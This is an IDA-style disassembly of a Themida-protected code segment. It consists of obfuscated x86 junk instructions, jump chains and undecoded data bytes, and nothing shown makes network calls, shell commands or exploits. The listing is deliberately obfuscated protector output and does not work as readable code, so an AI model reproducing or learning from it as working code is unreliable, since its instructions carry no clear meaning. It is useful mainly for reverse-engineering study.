loc_552E23:				; CODE XREF: Themida_:00551EACj
		shl	esi, 2
		push	ebp
		push	0FFDCAA14h
		jmp	loc_55812D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 57000000h, 0C781E789h, 4, 0E904EF83h, 2AFh, 0E76546BFh
		dd 7FC7813Ch, 8344747Ah, 0EC83FFC7h, 240C8904h,	110D9E9h
		dd 58C13100h, 0C8BCD89h, 0E0895024h, 405h, 40500h, 4870000h
		dd 0EB815C24h, 70945ACBh, 2944EB81h, 0EB013E98h, 2944C381h
		dd 0ADE93E98h
		db 0, 1, 0
; ---------------------------------------------------------------------------

loc_552E93:				; CODE XREF: Themida_:005608FFj
		sub	dh, ah
		pop	eax
		pop	ecx
		not	dh
		xor	dh, 0Ah
		sub	bl, 0C9h
		jmp	loc_55416A
; ---------------------------------------------------------------------------
aMsL		db '╛Ипl',0             ; DATA XREF: Themida_:00551280o
		align 2

loc_552EAA:				; CODE XREF: Themida_:0055E76Ej
		mov	eax, [esp]
		push	0BE4h
		mov	[esp], eax
		jmp	loc_5614B7
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 7F81DB47h, 835DEE89h, 348904ECh, 56036824h, 0E95E5BBBh
		dd 0B9BAh, 8B24048Fh, 0BF0F2424h, 4B0C68C8h, 0C890000h
		dd 0DC3BE924h, 0D0F70000h, 35D9472Dh, 0FFC389DCh, 81582434h
		dd 4C4h, 7EEB8100h, 1113C15h, 359EE9DEh, 425F0001h, 0EA81DAF7h
		dd 0C942DA50h, 1901E9h,	241C8B00h, 751C68h, 24048900h
		dd 405E089h, 5000000h, 4, 5C240487h, 12C98E9h, 40500h
		dd 4050000h, 87000000h,	15C2404h, 243C8BFDh, 4276E9h, 45A96800h
		dd 0DBE90000h, 8F000036h, 0FF5C2404h, 0E585E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552F66:				; CODE XREF: Themida_:0055F7B9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_55EB3C
; ---------------------------------------------------------------------------
		db 59h
		dd 4EC8353h, 0E9240C89h, 0E9C7h
; ---------------------------------------------------------------------------

loc_552F84:				; CODE XREF: Themida_:00561E69j
		not	ebx
		inc	ebx
		or	ebx, 31560C05h
		neg	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0DC51526h
		jmp	loc_56641E
; ---------------------------------------------------------------------------

loc_552FA2:				; CODE XREF: Themida_:00551749j
		add	esp, 4
		jmp	loc_5583B3
; ---------------------------------------------------------------------------
		dw 8968h
		dd 89000079h, 8B54241Ch, 0C483241Ch, 4BA5204h, 1000000h
		dd 0EC815AD3h, 4, 0B8240489h, 0F993CEFh, 0E8C1D8F7h, 3EF83505h
		dd 17E96C6Ah
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552FDF:				; CODE XREF: Themida_:00556315j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_555A4B
; ---------------------------------------------------------------------------
		db 56h,	0F7h, 14h
aS_6		db '$Ия)',0
		align 2

loc_552FF6:				; CODE XREF: Themida_:005658A7j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	699Bh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5536E8
; ---------------------------------------------------------------------------
		db 89h
		dd 8B682414h, 89000068h, 4CE92424h, 3300005Ah, 2C31242Ch
		dd 0B1A2E924h, 0C3810000h, 3F256D89h, 0EB81FB01h, 3F256D89h
		dd 5126E9h, 15A5B00h, 0F261E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55305A:				; CODE XREF: Themida_:00554DCFj
		not	edx
		push	edi
		mov	edi, 4044C92h
		and	edi, 4AC11EDBh
		jmp	loc_55D301
; ---------------------------------------------------------------------------
a1S		db '1<$И"в',0
		dd 0B7C28100h, 0E9706E7Ch, 0FFFFE46Bh, 5FE9E089h, 46FFFFEBh
		dd 0D2D2C681h, 0F589A9A9h, 8124348Bh, 4C4h, 0FFE92900h
		dd 815D2434h, 4C4h, 933E900h, 7DBF0001h, 81E0F8F9h, 8C58DEEFh
		dd 81DF0132h, 8C58DEC7h, 0FEE95B32h, 68FFFFFCh,	0BD2h
		dd 0BA241489h, 4, 1E7C681h, 0D601523Ch,	9926E9h
		db 0
; ---------------------------------------------------------------------------

loc_5530DD:				; CODE XREF: Themida_:00560199j
		push	ebx
		mov	ebx, 3C6E6A0Dh
		mov	ebp, ebx
		pop	ebx
		or	ebp, 5801610Ah
		jmp	loc_5584CF
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0BCh
		dd 57000015h, 411AE9h
		db 0
byte_5530FD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055148Co
		dd 0D359669Dh, 0E99C241Ch, 6DC4h, 8704C383h, 835C241Ch
		dd 786804C7h, 89000042h, 74FF243Ch, 34FF0424h, 0C4815F24h
		dd 4, 5C24048Fh, 0E9240431h, 0FFFFE3B3h
; ---------------------------------------------------------------------------

loc_553138:				; CODE XREF: Themida_:0055F061j
		add	eax, 732D7AD3h
		pop	edx
		or	eax, eax
		jnz	loc_5583CF
		mov	edx, 19A17497h
		jmp	loc_558C7B
; ---------------------------------------------------------------------------

loc_553150:				; CODE XREF: Themida_:0055EF71j
		push	ebx
		mov	ebx, 159E71D9h
		shl	ebx, 3
		add	ebx, 66B77A2Bh
		mov	edi, ebx
		jmp	loc_565AF6
; ---------------------------------------------------------------------------
word_553166	dw 34FFh		; DATA XREF: Themida_:00551338o
		dd 24048B24h, 6804C483h, 697Ch,	89241C89h, 37EF68E3h, 0C890000h
		dd 0E6895624h, 4C681h, 0EE830000h, 24348704h, 2434895Ch
		dd 290FE9h, 4EC8300h, 4B5AE9h, 80E2B700h, 0DFF65FEFh, 0F780DFF6h
		dd 7CC7807Ah, 88F98851h, 805B59CEh, 7AE9E8EEh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5531BF:				; CODE XREF: Themida_:00562357j
		pop	esi
		jmp	loc_561777
; ---------------------------------------------------------------------------
		db 0BEh, 0ADh, 6Eh
		dd 0F0291267h, 66852D5Eh, 6E2D6DF1h, 0E91DC84Ch, 0CEA8h
		dd 2C5AD788h, 4F82814h,	0A816E914h, 0CD30000h, 0F8E99C24h
		dd 56FFFFE2h, 6F31FEBEh, 5883BD71h, 0F529860Eh,	8324348Bh
		dd 0BA5204C4h, 365E535Fh, 148BD529h, 4C48324h, 1ED81h
		dd 0EDC10000h, 0E58DE908h, 3C870000h, 24248B24h, 0E9C8B70Fh
		dd 0E7F9h
; ---------------------------------------------------------------------------

loc_553230:				; CODE XREF: Themida_:00556E14j
		pop	dword ptr [edx+38h]
		jmp	loc_55A184
; ---------------------------------------------------------------------------
		dd 815AD001h, 191FDFC1h, 0F948E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553246:				; CODE XREF: Themida_:0055F197j
		neg	eax
		sub	eax, 0AEDCE7DCh
		jmp	loc_55409C
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0BEE90000h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55325F:				; CODE XREF: Themida_:0055248Cj
		add	ecx, 5DA24162h
		jmp	loc_554325
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 4178764Dh, 32B4F581h, 0EA015CE7h, 8BD1015Dh,	89502414h
		dd 405E0h, 0C0830000h, 24048704h, 0E957525Ch, 0DF5Ch, 0EA4C09BAh
		dd 5AD1090Ah, 0E903E1C1h, 12047h, 1138BB8h, 2EE95365h
		dd 29FFFFF0h, 243C8BF9h, 134E7E9h, 0F2015D00h, 5E2434FFh
		dd 3304C483h, 14312414h, 2F2EE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5532CE:				; CODE XREF: Themida_:005588EFj
		push	452Ch
		mov	[esp], edx
		push	ebx
		add	dword ptr [esp], 6EE7D9Fh
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_564506
; ---------------------------------------------------------------------------
		dw 492Ch
		dd 240C8B66h, 8302C483h, 1C8904ECh, 0B3535124h,	71EB8062h
		dd 0F856E9h, 2595BB00h,	0EB8178BCh, 14C617DBh, 0A5ABEB81h
		dd 0DD295C4Eh, 11FB0E9h, 5E2C100h, 5363E9h, 0B9515A00h
		dd 4, 34FFCA01h, 240C8B24h, 4EC81h, 1C890000h, 0FF10E924h
		dd 505EFFFFh, 405E089h,	5000000h, 4, 5C240487h,	741BC281h
		dd 685312A7h, 58B93C79h, 2568575Bh, 5FD39AC8h, 0A315E9h
		db 0
; ---------------------------------------------------------------------------

loc_55336D:				; CODE XREF: Themida_:00560718j
		pop	ebp
		jmp	loc_561891
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C281h, 14870000h, 51505C24h, 12A62E9h
		db 0
; ---------------------------------------------------------------------------

loc_553385:				; CODE XREF: Themida_:005550B2j
		mov	esi, 37B5415Fh
		xor	[esp+4], esi
		mov	esi, [esp]
		push	ebx
		jmp	loc_559795
; ---------------------------------------------------------------------------

loc_553397:				; CODE XREF: Themida_:00554408j
		shl	edx, 3
		jmp	loc_556907
; ---------------------------------------------------------------------------
		db 5
		dd 0EC6DF78Fh, 2958C201h, 65E95AD1h, 0B1000027h, 515604BDh
		dd 0C4E98EB1h, 5E000007h, 5C241C87h, 0E9242489h, 10CB4h
		dd 74FF515Dh, 1BE90424h, 5700004Dh, 1EDEBFh, 247C3170h
		dd 0E95B5F04h, 0C547h
; ---------------------------------------------------------------------------

loc_5533E4:				; CODE XREF: Themida_:005586B0j
		add	edi, 0D2E95886h
		mov	ecx, edi
		pop	edi
		shr	ecx, 4
		neg	ecx
		sub	ecx, 6A741F78h
		push	ebp
		mov	ebp, 1EF25081h
		shl	ebp, 2
		sub	ebp, 74C7453Ah
		jmp	loc_5668EF
; ---------------------------------------------------------------------------
aBGDoiSt	db '│ц┐',27h,'╓o┴щИБс',0
		dd 30BD5500h, 2943CD5Ah, 53565DEFh, 63389F68h, 71E95B3Eh
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55342F:				; CODE XREF: Themida_:0055E533j
		push	esp
		pop	edi
		push	eax
		mov	eax, 58411602h
		add	eax, 0A7BEEA02h
		jmp	loc_554B20
; ---------------------------------------------------------------------------

loc_553441:				; CODE XREF: Themida_:0055484Fj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55E961
; ---------------------------------------------------------------------------
		dw 4A68h
		dd 0E900003Fh, 35F9h, 0FF243489h, 0FF042474h, 0C5E92434h
		dd 5B00002Dh, 0C3E6E9h,	0FE1BB100h, 0E95266C9h,	2C1Bh
		dd 8324148Bh, 525504C4h, 9C321DBAh, 79C28154h, 4A69E34Fh
		dd 0F74EA81h, 0EA816231h, 3319148Ah, 96F2814Ah,	8929355Dh
		dd 29E95AD5h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5534A3:				; CODE XREF: Themida_:005536A0j
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dd 559CB31h, 56F66A81h,	0EC81D829h, 4, 0BF243C89h, 727E6368h
		dd 0FFF396E9h, 58C609FFh, 5E13F681h, 0AFE93206h
		db 0BEh, 2 dup(0)
byte_5534EB	db 0FFh			; DATA XREF: Themida_:00551370o
		dd 34FF2434h, 0C4835824h, 34ECE904h, 0E2890000h, 4C281h
		dd 0EA810000h, 4, 5C241487h, 54240489h,	12309E9h, 243C8B00h
		dd 0E904C483h, 966Eh
; ---------------------------------------------------------------------------

loc_553520:				; CODE XREF: Themida_:00551E4Ej
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_556DC0
; ---------------------------------------------------------------------------
		db 68h,	99h, 39h
		dd 2C890000h, 7BE95324h, 8F000087h, 248B2404h, 240C8924h
		dd 651A68h, 24248900h, 4B850h, 6C810000h, 77AB0424h, 440164D9h
		dd 0C1E90424h, 81000088h, 1A5E4FF2h, 5AD70171h,	4C781h
		dd 3C870000h, 6CE95C24h, 81FFFFDFh, 9B5C88CAh, 0C2814A4Ch
		dd 0A144A378h, 11006E9h, 24243000h, 0F9EBE9h, 24048900h
		dd 42B7E9h, 1BED8100h, 290DF99Ch, 51595DEBh, 64770B9h
		dd 92C18177h, 188F9B8h,	240C8BCBh, 6804C483h, 5665h, 0E9241C89h
		dd 0E7D6h, 5E20E7BDh, 0BDBA520Eh, 1112C08h, 3F8CE9D5h
		dd 0EF890000h, 81242C8Bh, 4C4h,	2CBD5500h, 0E90D593Dh
		dd 7B8Dh
; ---------------------------------------------------------------------------

loc_5535F4:				; CODE XREF: Themida_:00553D22j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_555314
; ---------------------------------------------------------------------------
aYs		db 'YИя╬',0
		dw 8900h
		dd 0D9682434h, 5E28A55Eh, 0D15EF289h, 52C281E2h, 0E9AEB542h
		dd 11A8h
; ---------------------------------------------------------------------------

loc_55361C:				; CODE XREF: Themida_:005565DAj
		mov	esp, [esp]
		jmp	loc_5616E1
; ---------------------------------------------------------------------------
		dd 824248Bh, 0E99C2404h, 0FFFFDEBBh, 2B8h, 0BFAFE900h
		dd 0EC830000h, 24048904h, 2B8h,	0E9C50100h, 12F25h, 0BB10D1B8h
		dd 0D0F74066h, 0AA822935h, 58C1316Bh, 1EA3E9h, 246C8100h
		dd 72780504h, 245C011Dh, 24448104h, 72780504h, 0C6BA521Dh
		dd 12D9540h, 5A082454h,	5860E9h, 2434FF00h, 8B2434FFh
		dd 0C4832404h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5534A3
; ---------------------------------------------------------------------------
byte_5536A5	db 68h,	3Eh, 1Bh	; DATA XREF: Themida_:005513C0o
		dd 0CDE90000h, 57000006h, 385B6856h, 815E7428h,	734304F6h
		dd 0F5895557h, 5E5DEF89h, 6BA6F781h, 0F9292B43h, 83243C8Bh
		dd 0E92904C4h, 10F9C181h, 875D0818h, 665C240Ch,	0E9240489h
		dd 0FFFFDE03h
; ---------------------------------------------------------------------------

loc_5536E8:				; CODE XREF: Themida_:0055301Ej
		push	ecx
		mov	ecx, 64B6514Dh
		sub	[esp+8], ecx
		pop	ecx
		sub	dword ptr [esp+4], 75431496h
		add	[esp+4], edi
		add	dword ptr [esp+4], 75431496h
		jmp	loc_55FA44
; ---------------------------------------------------------------------------

loc_55370C:				; CODE XREF: Themida_:005540A7j
		push	ecx
		jmp	loc_558D29
; ---------------------------------------------------------------------------
		dw 4E68h
		dd 8900002Dh, 0DBE9242Ch, 810000F5h, 861DABE7h,	3BCF810Dh
		dd 5647E74Dh, 7FBBD55h,	0DDF71AB3h, 0BA52D5F7h,	2AC3786Eh
		dd 70E9D509h, 870000D1h, 525C243Ch, 2609E9h
		db 0
; ---------------------------------------------------------------------------

loc_55374D:				; CODE XREF: Themida_:0055BE9Cj
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56021E
; ---------------------------------------------------------------------------
		dd 56242489h, 4BEh, 24740100h, 48F5E04h, 24048124h, 4
		dd 0FFE372E9h, 510566FFh, 0F8296635h, 35512D66h, 7C6E9h
		dd 1C68300h, 8106E6C1h,	5A8ABEEEh, 13EB81E4h, 294C4E16h
		dd 13C381F3h, 0E94C4E16h, 106FCh, 0E958E528h, 3FECh
; ---------------------------------------------------------------------------

loc_5537B4:				; CODE XREF: Themida_:005632E7j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		jmp	loc_55BCDF
; ---------------------------------------------------------------------------
		db 52h
		dd 0F627E9h
		db 0
; ---------------------------------------------------------------------------

loc_5537CD:				; CODE XREF: Themida_:00558068j
		mov	edx, [esp]
		jmp	loc_554388
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FF04C483h, 815B2434h, 4ECh,	240C8900h, 4EC81h, 7AE90000h
		dd 87000107h, 248B242Ch, 14896624h, 9C506624h, 0FFEE26E9h
		dd 241433FFh, 33241431h, 248B2414h, 0E2C8E924h,	2489FFFFh
		dd 24048324h, 242C8B04h, 4C481h, 0A2E90000h
		db 44h,	2 dup(0)
byte_55382B	db 0FFh			; DATA XREF: Themida_:00551290o
		dd 589D1C77h, 9C240419h, 0FFDCB2E9h, 0B15150FFh, 59C8886Bh
		dd 0FE58C628h, 0E9D6F6CEh, 5090h
; ---------------------------------------------------------------------------

loc_55384C:				; CODE XREF: Themida_:005651A4j
		push	7911h
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55C3AC
; ---------------------------------------------------------------------------
		dw 5A58h
		dd 387F8858h, 2434FF5Bh, 81A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55387D:				; CODE XREF: Themida_:00560A1Aj
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_558BDF
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2434h, 66E9243Ch
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_55389B:				; CODE XREF: Themida_:00565A6Ej
		mov	[esp], eax
		pop	ecx
		push	ecx
		push	ebp
		mov	ebp, 5F691636h
		xor	[esp+4], ebp
		pop	ebp
		pop	ebp
		push	1944h
		mov	[esp], edi
		mov	edi, 312458A0h
		or	edi, 0E765ACCh
		sub	edi, 1C610395h
		add	edi, 4EC056FDh
		sub	edi, 126C981Eh
		jmp	loc_5570B7
; ---------------------------------------------------------------------------

loc_5538D6:				; CODE XREF: Themida_:005569E1j
		add	esp, 4
		sub	ecx, 0CE04B0EBh
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		add	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4

loc_5538F1:				; CODE XREF: Themida_:00552A6Fj
		push	59ACh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55A363
; ---------------------------------------------------------------------------

loc_553900:				; CODE XREF: Themida_:005639B5j
		push	3771h
		jmp	loc_55C32F
; ---------------------------------------------------------------------------
		dw 0D631h
		dd 0FFFB63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553911:				; CODE XREF: Themida_:0055810Ej
		add	ecx, 2EF9FCBEh
		jmp	loc_559917
; ---------------------------------------------------------------------------

loc_55391C:				; CODE XREF: Themida_:0056334Ej
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dd 0FE90EB80h, 5E3C0CBh, 5EE9DBF6h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553937:				; CODE XREF: Themida_:0055D304j
		add	edi, 0E7D2401h
		sub	edi, 98451737h
		not	edi
		inc	edi
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_557146
; ---------------------------------------------------------------------------

loc_553954:				; CODE XREF: Themida_:0055E8A3j
		sub	eax, 568A5DC9h
		add	eax, ebp
		jmp	loc_554DD4
; ---------------------------------------------------------------------------
dword_553960	dd 24048B66h, 4EC81h, 0E9E90000h ; DATA	XREF: Themida_:005513A8o
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55396F:				; CODE XREF: Themida_:00566B75j
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 4
		jmp	loc_56128F
; ---------------------------------------------------------------------------
		db 53h
		dd 4EC8151h, 89000000h,	0D0882404h, 8858C188h, 0C21FE9CFh
		dd 0C890000h, 4B924h, 4C010000h, 8F590424h, 0B9512404h
		dd 4, 0C8BE5653h, 0E97F1E4Ch, 1F1Eh, 0D0C4B753h, 7E7C0EFh
		dd 800ACF80h, 1AE93EC7h, 0BD0000BEh, 4,	0DE0E9h, 14513500h
		dd 3E357E10h, 29310DC8h, 0BD5558C7h, 134C7706h,	12AB9E9h
		dd 82F18100h, 81319F01h, 0D7192BC9h, 7BE9810Fh,	1EFDFBFh
		dd 0BE5659CBh, 27916A2Ah, 0FFFD78E9h, 24148BFFh, 6ACAE9h
		db 0
; ---------------------------------------------------------------------------

loc_553A1D:				; CODE XREF: Themida_:00553F4Ej
		not	ebp
		shl	ebp, 5
		shr	ebp, 2
		add	ebp, 69F1347Dh
		not	ebp
		sub	ebp, 3C19BA21h
		or	edx, ebp
		jmp	loc_55A052
; ---------------------------------------------------------------------------
		dw 8366h
		dd 66022404h, 6624048Fh, 2240483h, 1439E9h, 240C8900h
		dd 0FFF95AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553A55:				; CODE XREF: Themida_:00560773j
		mov	esi, 3343080Fh
		mov	eax, 3343080Fh
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	24h
		jmp	loc_55E374
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 0DA98E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553A82:				; CODE XREF: Themida_:00566600j
		mov	ecx, 20E91900h
		add	ecx, 5CE6FF6Bh
		sub	esi, 51E66576h
		sub	esi, ecx
		add	esi, 51E66576h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_556E83
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0E904E983h, 574h
; ---------------------------------------------------------------------------

loc_553AB4:				; CODE XREF: Themida_:00556FA0j
		shl	ecx, 6
		push	eax
		mov	eax, 7F945A96h
		add	eax, 84231CA2h
		jmp	loc_5663C6
; ---------------------------------------------------------------------------

loc_553AC7:				; CODE XREF: Themida_:0056642Aj
		shl	edx, 6
		xor	edx, 0CE1B9FE9h
		sub	ebx, 7FA02008h
		jmp	loc_557E28
; ---------------------------------------------------------------------------
		db 5Dh
		dd 9A05D829h, 5506344h,	2B46483Ah, 70026855h, 4890000h
		dd 51525524h, 0B21C4CB9h, 0FBB85041h, 2D100B43h, 0BBBD08F1h
		dd 4958C101h, 1C01C181h, 0CA89A280h, 8BD58959h,	0C4832414h
		dd 67685204h, 5A07D254h, 4DEA8142h, 817E1000h, 70859BEAh
		dd 0E9D08999h, 0A2B8h
; ---------------------------------------------------------------------------

loc_553B34:				; CODE XREF: Themida_:00552421j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555F2A
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4EC8324h, 12375E9h
		db 0
; ---------------------------------------------------------------------------

loc_553B4D:				; CODE XREF: Themida_:00563293j
		push	3C4E642Ch
		pop	edx
		xchg	ebp, edx
		not	ebp
		jmp	loc_55DED4
; ---------------------------------------------------------------------------
aLYspu		db ')l$',8,']YИ╞Ц',0
		db 0
byte_553B67	db 66h			; DATA XREF: Themida_:00551304o
		dd 0E924048Bh, 6669h, 4EC8157h,	89000000h, 17E92414h, 0FE000072h
		dd 0E9C1FEC9h, 11912h, 27529FBFh, 2DE78127h, 813EAC4Ch
		dd 0A15F70F7h, 81DFF729h, 0E26A36EFh, 6E7C153h,	0FFE348E9h
		dd 242489FFh, 4BF57h, 89E90000h, 89000091h, 0CF815EF7h
		dd 621C2544h, 190EF81h,	0BB533981h, 208C3660h, 815BDF21h
		dd 6F6C2CEFh, 85EE81FFh, 29429154h, 85C681FEh, 5F429154h
		dd 348BF009h, 4C48324h,	0FB678735h, 0C589556Fh,	0F4D7E9h
		dd 0F3805A00h, 5BD83018h, 30D3B151h, 1B96E9C8h,	0C1810000h
		dd 6A81CDA0h, 0EEE95B51h
		db 0F0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553C17:				; CODE XREF: Themida_:0056264Cj
		mov	edx, 24h
		add	edx, edi
		add	[edx], esi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_562476
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 4053C581h, 0BF5758C3h, 86F6B82h, 8B5FFD29h, 67E92404h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553C4F:				; CODE XREF: Themida_:00558F3Aj
		push	3C14h
		mov	[esp], ebx
		mov	ebx, 1Ch
		jmp	loc_552B57
; ---------------------------------------------------------------------------
		db 0B7h, 1Fh, 0F6h
		dd 8DC780D7h, 0E951DFF6h, 0FFFFF7F9h, 2414F752h, 0F7D7875Ah
		dd 794668D7h, 2C890000h, 78F3BD24h, 0EDD141C7h,	0BC78F581h
		dd 0EF0120E3h, 83242C8Bh, 0D7F704C4h, 2A20E9h, 34FF5800h
		dd 0C4835824h, 0E9FD0404h, 11069h, 8124148Bh, 4C4h, 0A150E900h
		dd 0FBBA0000h, 0E956A752h, 2C6Dh, 34FFC531h, 24048B24h
		dd 4C481h, 0C4810000h, 4, 3C791F2Dh, 28CD055Dh,	8A2D094Eh
		dd 2925F561h, 133AE9E8h
		db 1, 0
; ---------------------------------------------------------------------------

loc_553CEE:				; CODE XREF: Themida_:0055DB96j
		add	edi, 4
		push	edx
		mov	edx, 6C5F266Eh
		sub	edx, 661F73D2h
		add	edx, 0F9C04D68h
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5535F4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8007EF80h, 94E929F7h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553D33:				; CODE XREF: Themida_:005606E1j
		add	esi, eax
		pop	eax
		xor	esi, 7DA6186Dh
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_55AE6B
; ---------------------------------------------------------------------------
aHck		db '^h≈k',0
		dd 0D0A1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553D52:				; CODE XREF: Themida_:0055F6A1j
		mov	ecx, 66E9574Ah
		and	ecx, 63951744h
		sub	esp, 4
		mov	[esp], edx
		push	3EFB48A5h
		pop	edx
		jmp	loc_565F2C
; ---------------------------------------------------------------------------
aVhr4		db 'VhЮ4',0
		dw 0E900h
		dd 9BF2h, 68240489h, 4448h, 0BA241489h,	119976CAh, 8703EAC1h
		dd 0C8757FAh, 87D1F724h, 3C8B240Ch, 4C48324h, 5256FA87h
		dd 6467FABAh, 0AB6DE910h, 48F0000h, 14895C24h, 4EC8124h
		dd 89000000h, 38E9241Ch, 890000A2h, 1EB9240Ch, 0E9092548h
		dd 13E6h, 527D1EBBh, 7EBC16Ah, 94E3E9h,	0E9505800h, 0FFFFE74Eh
		dd 33241431h, 895C2414h, 9C502414h, 0FFD6F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553DF5:				; CODE XREF: Themida_:00562D81j
		pop	ecx
		push	esi
		mov	esi, edi
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_5520F3
; ---------------------------------------------------------------------------
		dd 81E78957h, 4ECh, 241C8900h, 4BBh, 5BDF0100h,	6576B951h
		dd 0CE93CFAh, 87000053h, 0FAE9242Ch
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553E2B:				; CODE XREF: Themida_:00561FD6j
		mov	edi, 0D4ADAA66h
		add	edi, esi
		pop	esi
		add	edi, 25A64D2Bh
		dec	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_557D4C
; ---------------------------------------------------------------------------

loc_553E44:				; CODE XREF: Themida_:00559F55j
		mov	eax, 0A06297C3h
		add	eax, ebx
		pop	ebx
		jmp	loc_55ADD4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81240C8Bh, 4C4h, 4C48100h, 68000000h, 7C17h,	0FF241489h
		dd 0E9042474h, 0FFFFEC42h, 5AD3015Fh, 4C381h, 1C870000h
		dd 6F02E924h, 0EF810000h, 4C735894h, 0E1E9FA89h, 0E9FFFFFFh
		dd 0FFFFD653h, 0BE243489h, 4, 42768F2Dh, 5F00131h, 3142768Fh
		dd 74FF505Eh, 0E9580424h, 110Fh, 4EC81h, 14890000h, 81E28924h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 3C8B2414h, 5B545324h
		dd 4B850h, 0C3010000h, 0E92434FFh, 0FFFFFEF1h
; ---------------------------------------------------------------------------

loc_553EEC:				; CODE XREF: Themida_:0055E9F7j
		xchg	ecx, [esp]
		pop	esp
		std
		jmp	loc_559ED5
; ---------------------------------------------------------------------------

loc_553EF6:				; CODE XREF: Themida_:00561946j
		sub	ebp, 22A51E01h
		pop	esi
		push	3541h
		mov	[esp], esi
		jmp	loc_555085
; ---------------------------------------------------------------------------

loc_553F0A:				; CODE XREF: Themida_:00554157j
		push	235Eh
		mov	[esp], ecx
		push	60B66A89h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55173A
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 47h
		dd 8108E7C1h, 0FE40FCC7h, 0E9FB3181h, 994Eh
; ---------------------------------------------------------------------------

loc_553F38:				; CODE XREF: Themida_:005546D2j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_562097
; ---------------------------------------------------------------------------

loc_553F47:				; CODE XREF: Themida_:0055690Aj
		dec	edx
		push	ebp
		mov	ebp, 1BB2609Fh
		jmp	loc_553A1D
; ---------------------------------------------------------------------------
		db 8Bh
